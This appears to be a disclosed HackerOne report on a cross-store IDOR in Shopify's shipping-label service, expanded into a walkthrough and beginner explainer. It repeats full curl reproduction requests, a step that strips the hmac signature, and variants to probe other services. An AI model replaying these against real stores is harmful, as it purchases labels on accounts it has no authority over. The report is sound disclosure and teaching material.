Ability to generate shipping labels in another store orders
A shop owner could create a session on their own store and use it to generate shipping labels for another store's orders without authorisation.
Originally disclosed on HackerOne
- Triaged in 17 hours
- Fixed in 11 days
- Paid in 6 days
- Disclosed after 3 months
Details
A shop owner creating a session on its own store on https://mailbox.shopifycloud.com/ service can craft request to print labels on another store he doesn't have access to.
Steps to reproduce
- Go to an unfulfilled order and click on Create a shipping label
- Copy the CURL request that is being made to https://mailbox.shopifycloud.com/graphql/labels?sessionId={{sessionId}}. The payload should look like
curl 'https://mailbox.shopifycloud.com/graphql/labels?sessionId=4e8da4a36b' \
-H 'authority: mailbox.shopifycloud.com' \
-H 'cache-control: max-age=0' \
-H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' \
-H 'content-type: application/json' \
-H 'accept: */*' \
-H 'origin: https://fbeaudoinplus01.myshopify.com' \
-H 'sec-fetch-site: cross-site' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-dest: empty' \
-H 'accept-language: en-US,en;q=0.9' \
--data-binary $'{"query":"mutation PurchaseShippingLabels($shippingLabelPurchaseRequests:[ShippingLabelPurchaseRequestInput\u0021]\u0021){purchaseShippingLabels(shippingLabelPurchaseRequests:$shippingLabelPurchaseRequests){shippingLabelId status notices{code severity message shippingLabelId carrierCode serviceCode serviceName __typename}__typename}}","variables":{"shippingLabelPurchaseRequests":[{"shippingLabelId":"gid://shopify/ShippingLabel/522221879427", "hmac": "5TjRpa34as7d34OPPEhneeu4723=", "shippingRateSelection":{"carrierCode":"canada_post","serviceCode":"DOM.EP","serviceName":"Expedited Parcel","quotedCost":{"amount":7.91,"currencyCode":"CAD"},"shipmentOptions":[]},"destinationAddress":{"name":"Francis Beaudoinn","address1":"25-838 Rue Grandjean","address2":"","city":"Québec","province":"QC","postalCode":"G1X 3W5","country":"CA","phone":"","company":">"},"weight":0.00001,"weightUnit":"kg","selectedPackage":{"name":"Sample box","key":"gid://shopify/ShippingPackageV2/46497464451","type":"box","length":35,"width":26,"height":5,"dimensionUnit":"cm","weight":0,"weightUnit":"kg"},"lineItems":[{"lineItemId":"gid://shopify/LineItem/4975517728899","quantity":1}],"customsLineItems":[{"description":"test","quantity":1,"value":0,"weight":0,"weightUnit":"kg","countryOfOrigin":"","provinceOfOrigin":null,"hsCode":"","inventoryItemId":null}],"shippingDate":"2020-05-27","customerNotificationDate":"2020-05-27"}]},"operationName":"PurchaseShippingLabels"}' \
--compressed
- Void the shipping label
- Re-open the order and click again on Create a shipping label and take note of the
shipping_label_idsfrom the URL - We'll now re-send the request as the attacker, you'll need to use another shop Owner account (different shop). First of, we'll be initiating a session to the service by making the following request. Make sure to update the
{shop}placeholder in theOriginheader with your own shop name.
curl 'https://mailbox.shopifycloud.com/session/authentication' \
-H 'Connection: keep-alive' \
-H 'Cache-Control: max-age=0' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' \
-H 'Content-Type: application/json' \
-H 'Accept: */*' \
-H 'Origin: https://{shop}.myshopify.com' \
-H 'Sec-Fetch-Site: cross-site' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Accept-Language: en-US,en;q=0.9' \
--compressed
From the response payload, copy the redirectUrl value and open it up in your browser. Click the install button then you should now be redirected to a page that contains a JSON payload i.e.: {"id": "abc", "status":"success"}. Take note of the id value.
- From the CURL request in step 2:
- Change the
gid://shopify/ShippingLabel/object id with the one from Step 2 - Change the
sessionIdquery parameter to the previous stepidvalue. i.e.:abc - Change the cookie
sessionvalue to the sameidvalue. i.e.:abc - Remove the
hmacproperty from the payload
- Send the CURL request and go back to the order, a new label has been generated.
Demo
█████
Impact
I am not sure of the impact as I didn't make too many tests except the one described here but at least, it demonstrates that an attacker is able to create a session on his own store and make requests to other stores he doesn't have access to.
Context
Shopify merchants can buy shipping labels for unfulfilled orders directly from the admin. The label purchase flow is handled by a separate service at https://mailbox.shopifycloud.com/, which exposes a GraphQL endpoint at /graphql/labels. The admin sends a PurchaseShippingLabels mutation to that endpoint, carrying a sessionId query parameter and a session cookie, and the service returns the purchased label.
The report describes an insecure direct object reference in that flow: a shop owner with a valid session on their own store can craft a request that purchases a shipping label for an order belonging to a different store they have no access to.
Setup
Two separate Shopify accounts, each owning a different store, are needed:
- A victim store with an unfulfilled order, used to obtain a real
shippingLabelIdand a valid request shape. - An attacker store, used to initiate a session against the mailbox service.
The researcher used a browser with the following user agent string throughout:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Requests were captured and replayed as CURL commands.
Finding it
The label purchase request sent to mailbox.shopifycloud.com identifies the target label by a GraphQL global ID (gid://shopify/ShippingLabel/...) and carries a sessionId query parameter.
Exploitation
Step 1: Open the label creation flow
Go to an unfulfilled order in the victim store and click Create a shipping label.
Step 2: Capture the purchase request
Copy the CURL request made to https://mailbox.shopifycloud.com/graphql/labels?sessionId={{sessionId}}. The payload looks like this:
curl 'https://mailbox.shopifycloud.com/graphql/labels?sessionId=4e8da4a36b' \
-H 'authority: mailbox.shopifycloud.com' \
-H 'cache-control: max-age=0' \
-H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' \
-H 'content-type: application/json' \
-H 'accept: */*' \
-H 'origin: https://fbeaudoinplus01.myshopify.com' \
-H 'sec-fetch-site: cross-site' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-dest: empty' \
-H 'accept-language: en-US,en;q=0.9' \
--data-binary $'{"query":"mutation PurchaseShippingLabels($shippingLabelPurchaseRequests:[ShippingLabelPurchaseRequestInput\u0021]\u0021){purchaseShippingLabels(shippingLabelPurchaseRequests:$shippingLabelPurchaseRequests){shippingLabelId status notices{code severity message shippingLabelId carrierCode serviceCode serviceName __typename}__typename}}","variables":{"shippingLabelPurchaseRequests":[{"shippingLabelId":"gid://shopify/ShippingLabel/522221879427", "hmac": "5TjRpa34as7d34OPPEhneeu4723=", "shippingRateSelection":{"carrierCode":"canada_post","serviceCode":"DOM.EP","serviceName":"Expedited Parcel","quotedCost":{"amount":7.91,"currencyCode":"CAD"},"shipmentOptions":[]},"destinationAddress":{"name":"Francis Beaudoinn","address1":"25-838 Rue Grandjean","address2":"","city":"Québec","province":"QC","postalCode":"G1X 3W5","country":"CA","phone":"","company":">"},"weight":0.00001,"weightUnit":"kg","selectedPackage":{"name":"Sample box","key":"gid://shopify/ShippingPackageV2/46497464451","type":"box","length":35,"width":26,"height":5,"dimensionUnit":"cm","weight":0,"weightUnit":"kg"},"lineItems":[{"lineItemId":"gid://shopify/LineItem/4975517728899","quantity":1}],"customsLineItems":[{"description":"test","quantity":1,"value":0,"weight":0,"weightUnit":"kg","countryOfOrigin":"","provinceOfOrigin":null,"hsCode":"","inventoryItemId":null}],"shippingDate":"2020-05-27","customerNotificationDate":"2020-05-27"}]},"operationName":"PurchaseShippingLabels"}' \
--compressed
The important parts are the sessionId query parameter, the Origin header naming the store, and the JSON body. The body contains a shippingLabelPurchaseRequests array with a single object. That object carries the shippingLabelId global ID, an hmac value, the selected shipping rate (canada_post, DOM.EP, Expedited Parcel, quoted at 7.91 CAD), the destination address, the package dimensions, the line item, customs line items and the shipping and notification dates.
Step 3: Void the label
Void the shipping label that was just purchased.
Step 4: Re-open the order and note the label ID
Re-open the order, click Create a shipping label again, and take note of the shipping_label_ids value from the URL. This is the ID of the label that will be targeted in the cross-store request.
Step 5: Create a session as the attacker
Using a second shop owner account (a different shop), initiate a session against the service. Replace the {shop} placeholder in the Origin header with the attacker's own shop name:
curl 'https://mailbox.shopifycloud.com/session/authentication' \
-H 'Connection: keep-alive' \
-H 'Cache-Control: max-age=0' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' \
-H 'Content-Type: application/json' \
-H 'Accept: */*' \
-H 'Origin: https://{shop}.myshopify.com' \
-H 'Sec-Fetch-Site: cross-site' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Accept-Language: en-US,en;q=0.9' \
--compressed
From the response payload, copy the redirectUrl value and open it in the browser. Click the install button. You are then redirected to a page containing a JSON payload such as:
{"id": "abc", "status":"success"}
Take note of the id value. This is the session identifier for the attacker's store.
Step 6: Rewrite the captured request
Starting from the CURL request in step 2, make four changes:
- Change the
gid://shopify/ShippingLabel/object ID to the one noted in step 4. - Change the
sessionIdquery parameter to theidvalue from step 5, for exampleabc. - Change the
sessioncookie value to the sameidvalue, for exampleabc. - Remove the
hmacproperty from the payload.
Step 7: Send the request
Send the modified CURL request and go back to the order. A new label has been generated for the victim store's order, even though the request was made with the attacker's session.
Root cause
The mailbox service accepts the shippingLabelId from the client and acts on it using whatever session is presented, without checking that the label belongs to the store that owns that session. The sessionId and the label ID are therefore independent inputs, and nothing ties them together. The report's steps include removing the hmac property from the payload before sending the modified request. The exact server-side check that was missing is not described in the report; the behaviour is consistent with a missing ownership check on the label object.
Impact
The report demonstrates that an attacker can create a session on their own store and make requests affecting another store they do not have access to. The researcher states that they did not run many tests beyond the one described, so the full impact is not established. What the report does demonstrate is that a session created for one store can be used to make requests affecting another store.
Fix
The report does not describe the fix that was applied.
Variants to test
- Swap the object ID in other GraphQL mutations on the same endpoint (for example label voiding or rate selection) while keeping a session from a different store. A positive result is a successful response that changes state on the other store's order.
- Remove or alter the
hmacon a normal same-store request. A positive result is a successful purchase without a valid signature, which shows the signature is not enforced. - Reuse a session ID across requests after it has been issued for one store, changing only the
Originheader. A positive result is a response that reflects the store named inOriginrather than the store that owns the session. - Try the same pattern on other per-store auxiliary services that issue their own session (label printing, fulfilment, returns). A positive result is any cross-store read or write using a session from a different store.
What happened, in plain words
Shopify is a platform that lets people run an online shop. When a shop owner sells something, the order sits in the admin area until it is fulfilled (packed and sent). To send it, the owner can buy a shipping label, which is the printed sticker with the address and barcode that a courier scans. Shopify does not print these itself: the label purchase is handled by a separate service at https://mailbox.shopifycloud.com/.
That service is reached through an API. An API is a way for one piece of software to talk to another: your browser sends a structured request, and the service sends back a structured answer. The mailbox service speaks a style of API called GraphQL, where each request names an operation (here PurchaseShippingLabels) and passes it some data. The address the admin talks to is /graphql/labels.
To know who is asking, the service uses a session. A session is like a cloakroom ticket: when you log in or install the service, it hands you a short identifier, and you show that identifier on every later request so the service knows which shop you are. The identifier travels in two places: a sessionId in the web address (the query string) and a cookie. A cookie is a small piece of text your browser stores for a website and sends back automatically with each request to it.
The vulnerability is an insecure direct object reference, usually shortened to IDOR. The everyday version: a hotel gives you the key to room 214, and you notice the key is just a number. If the front desk never checks that you are the person booked into room 215, you can ask for that room's key too. In software, an "object" is a record such as an order or a label, and it has an ID. If the server takes the ID from the request and acts on it without checking that the record belongs to the person asking, that is an IDOR.
Here, the label purchase request names the label by a long ID (gid://shopify/ShippingLabel/...) and proves who is asking with a session that was issued for one particular shop. In the report's steps, a session created for the attacker's own shop is used with a label ID belonging to a different shop, and a new label is generated. The result was that a shop owner could buy a shipping label for an order in a store they have no access to.
Setting up
Two separate Shopify accounts are needed, each owning a different store:
- A victim store with an unfulfilled order. This is used to obtain a real label ID and to see the exact shape of a genuine request.
- An attacker store, used to start a session against the mailbox service.
The researcher used a browser that identifies itself with this user agent string throughout. A user agent is the line a browser sends to say which browser and operating system it is:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
The requests were captured and replayed as CURL commands. CURL is a command line tool that sends a web request and prints the answer; browsers can copy a request in this form from their developer tools, which makes it easy to edit one detail and send it again.
Finding it
The researcher noticed that the label purchase request sent to mailbox.shopifycloud.com identifies the target label by a GraphQL global ID (gid://shopify/ShippingLabel/...) and is authorised by a sessionId that is issued per store. Because the session is created for the attacker's own store but the label ID is supplied by the client, the two are not bound together. That suggested a request could be replayed with a session from one store and a label ID from another.
Exploitation
Step 1: Open the label creation flow
Go to an unfulfilled order in the victim store and click Create a shipping label. This is the normal, legitimate action any shop owner takes; the point is to make the browser produce a real request that can be studied.
Step 2: Capture the purchase request
Copy the CURL request made to https://mailbox.shopifycloud.com/graphql/labels?sessionId={{sessionId}}. The payload looks like this:
curl 'https://mailbox.shopifycloud.com/graphql/labels?sessionId=4e8da4a36b' \
-H 'authority: mailbox.shopifycloud.com' \
-H 'cache-control: max-age=0' \
-H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' \
-H 'content-type: application/json' \
-H 'accept: */*' \
-H 'origin: https://fbeaudoinplus01.myshopify.com' \
-H 'sec-fetch-site: cross-site' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-dest: empty' \
-H 'accept-language: en-US,en;q=0.9' \
--data-binary $'{"query":"mutation PurchaseShippingLabels($shippingLabelPurchaseRequests:[ShippingLabelPurchaseRequestInput\u0021]\u0021){purchaseShippingLabels(shippingLabelPurchaseRequests:$shippingLabelPurchaseRequests){shippingLabelId status notices{code severity message shippingLabelId carrierCode serviceCode serviceName __typename}__typename}}","variables":{"shippingLabelPurchaseRequests":[{"shippingLabelId":"gid://shopify/ShippingLabel/522221879427", "hmac": "5TjRpa34as7d34OPPEhneeu4723=", "shippingRateSelection":{"carrierCode":"canada_post","serviceCode":"DOM.EP","serviceName":"Expedited Parcel","quotedCost":{"amount":7.91,"currencyCode":"CAD"},"shipmentOptions":[]},"destinationAddress":{"name":"Francis Beaudoinn","address1":"25-838 Rue Grandjean","address2":"","city":"Québec","province":"QC","postalCode":"G1X 3W5","country":"CA","phone":"","company":">"},"weight":0.00001,"weightUnit":"kg","selectedPackage":{"name":"Sample box","key":"gid://shopify/ShippingPackageV2/46497464451","type":"box","length":35,"width":26,"height":5,"dimensionUnit":"cm","weight":0,"weightUnit":"kg"},"lineItems":[{"lineItemId":"gid://shopify/LineItem/4975517728899","quantity":1}],"customsLineItems":[{"description":"test","quantity":1,"value":0,"weight":0,"weightUnit":"kg","countryOfOrigin":"","provinceOfOrigin":null,"hsCode":"","inventoryItemId":null}],"shippingDate":"2020-05-27","customerNotificationDate":"2020-05-27"}]},"operationName":"PurchaseShippingLabels"}' \
--compressed
Line by line, in plain words:
curl 'https://mailbox.shopifycloud.com/graphql/labels?sessionId=4e8da4a36b'is the request itself. The part after the?is the query string, a set of values attached to the address. Here it carriessessionId, the cloakroom ticket for the shop that made the request.- Each
-Hline adds a header. Headers are extra pieces of information sent alongside a request, like the notes on an envelope. authoritynames the site being contacted.cache-control: max-age=0tells any cache in between not to serve an old copy.user-agentidentifies the browser, as above.content-type: application/jsonsays the body of the request is JSON, a text format for structured data built from names and values.accept: */*says any kind of answer is acceptable.originnames the website the request came from, here the victim shop's admin address.- The three
sec-fetch-*headers are hints the browser adds about the kind of request this is. accept-languagelists the languages the user prefers.--data-binarysupplies the body of the request, the actual instruction. It is a JSON document with two main parts:query, which is the GraphQL operation to run, andvariables, which holds the values that operation needs.--compressedasks for the answer to be sent compressed to save bandwidth.
The important parts are the sessionId query parameter, the Origin header naming the store, and the JSON body. The body contains a shippingLabelPurchaseRequests array with a single object. An array is simply a list. That object carries the shippingLabelId global ID, an hmac value, the selected shipping rate (canada_post, DOM.EP, Expedited Parcel, quoted at 7.91 CAD), the destination address, the package dimensions, the line item, customs line items and the shipping and notification dates. The request body also carries an hmac value, which the report's steps later remove. The gid:// prefix marks a global ID, a name for a record that is unique across the whole platform.
Step 3: Void the label
Void the shipping label that was just purchased. Voiding cancels a label so it cannot be used, and it frees the order to have a new label created.
Step 4: Re-open the order and note the label ID
Re-open the order, click Create a shipping label again, and take note of the shipping_label_ids value from the URL. This is the ID of the label that will be targeted in the cross-store request. Doing it this way gives a fresh, valid label ID belonging to the victim store.
Step 5: Create a session as the attacker
Using a second shop owner account (a different shop), initiate a session against the service. Replace the {shop} placeholder in the Origin header with the attacker's own shop name:
curl 'https://mailbox.shopifycloud.com/session/authentication' \
-H 'Connection: keep-alive' \
-H 'Cache-Control: max-age=0' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' \
-H 'Content-Type: application/json' \
-H 'Accept: */*' \
-H 'Origin: https://{shop}.myshopify.com' \
-H 'Sec-Fetch-Site: cross-site' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Accept-Language: en-US,en;q=0.9' \
--compressed
This request goes to a different address, /session/authentication, whose job is to start a session. The headers play the same roles as before: Connection: keep-alive asks to keep the network connection open for further requests, and Origin names the attacker's shop, which is why the {shop} placeholder must be replaced with that shop's name. The answer is expected to contain a redirectUrl value.
From the response payload, copy the redirectUrl value and open it in the browser. A redirect is an instruction to go to another address. Click the install button. You are then redirected to a page containing a JSON payload such as:
{"id": "abc", "status":"success"}
Take note of the id value. This is the session identifier for the attacker's store: the cloakroom ticket, issued for the attacker's shop.
Step 6: Rewrite the captured request
Starting from the CURL request in step 2, make four changes:
- Change the
gid://shopify/ShippingLabel/object ID to the one noted in step 4. This points the request at the victim store's label. - Change the
sessionIdquery parameter to theidvalue from step 5, for exampleabc. This makes the request present the attacker's ticket. - Change the
sessioncookie value to the sameidvalue, for exampleabc. - Remove the
hmacproperty from the payload.
Step 7: Send the request
Send the modified CURL request and go back to the order. A new label has been generated for the victim store's order, even though the request was made with the attacker's session. That is the IDOR: the label ID and the session were accepted together even though they belong to different shops.
Root cause
The mailbox service accepts the shippingLabelId from the client and acts on it using whatever session is presented, without checking that the label belongs to the store that owns that session. The sessionId and the label ID are therefore independent inputs, and nothing ties them together. The hmac field in the original request appears to be a signature over the purchase request, but the researcher found that removing it did not prevent the request from succeeding, so it was not an effective control in this path. The exact server-side check that was missing is not described in the report; the behaviour is consistent with a missing ownership check on the label object.
Impact
The report demonstrates that an attacker can create a session on their own store and make requests affecting another store they do not have access to. The researcher states that they did not run many tests beyond the one described, so the full impact is not established. What the report does demonstrate is that a session created for one store can be used to make requests affecting another store.
Fix
The report does not describe the fix that was applied.
Variants to test
- Swap the object ID in other GraphQL mutations on the same endpoint (for example label voiding or rate selection) while keeping a session from a different store. A positive result is a successful response that changes state on the other store's order.
- Remove or alter the
hmacon a normal same-store request. A positive result is a successful purchase without a valid signature, which shows the signature is not enforced. - Reuse a session ID across requests after it has been issued for one store, changing only the
Originheader. A positive result is a response that reflects the store named inOriginrather than the store that owns the session. - Try the same pattern on other per-store auxiliary services that issue their own session (label printing, fulfilment, returns). A positive result is any cross-store read or write using a session from a different store.
Glossary
- API: a defined way for one piece of software to send requests to another and get structured answers back.
- GraphQL: a style of API where each request names an operation and supplies the values it needs, and the answer has the same shape as the request.
- Mutation: in GraphQL, an operation that changes something, such as buying a label, as opposed to one that only reads.
- Endpoint: the specific address on a server that accepts a particular kind of request, here
/graphql/labels. - Session: a short-lived identity handed out after you log in or install a service, shown on later requests so the server knows which shop you are.
- Session ID: the short value that identifies a session, carried in the query string and in a cookie.
- Cookie: a small piece of text a website stores in your browser and that the browser sends back automatically with each request to that site.
- Query string: the part of a web address after the
?, carrying named values such assessionId. - Header: an extra named value sent with a web request or response, such as
OriginorUser-Agent. - Origin: a header naming the website a request came from.
- User agent: the header line in which a browser states its name, version and operating system.
- JSON: a text format for structured data made of names and values, used for request and response bodies.
- CURL: a command line tool that sends a web request and prints the response, often used to replay a request copied from a browser.
- Payload / body: the main content of a request, as opposed to its address and headers.
- IDOR (insecure direct object reference): a flaw where a server accepts a record's ID from the client and acts on it without checking that the record belongs to the person asking.
- Object / record: a single stored item, such as an order, a label or a line item, identified by an ID.
- Global ID (
gid://): a name for a record that is unique across the whole platform, not just within one shop. - HMAC: a short signature computed from a request using a secret key, letting the server check the request was not altered; it only helps if the server actually enforces it.
- Redirect /
redirectUrl: an instruction to send the browser to another address. - Void (a label): cancel a purchased shipping label so it cannot be used.
- Unfulfilled order: an order that has been placed but not yet packed and sent.
- Shipping label: the printed sticker with address and barcode that a courier scans to deliver a parcel.
- Carrier / service code: the courier company (here
canada_post) and the specific delivery service chosen (hereDOM.EP, Expedited Parcel). - Root cause: the underlying reason a flaw exists, as opposed to its visible symptom.
- Ownership check: a server-side test that the record being acted on belongs to the account making the request.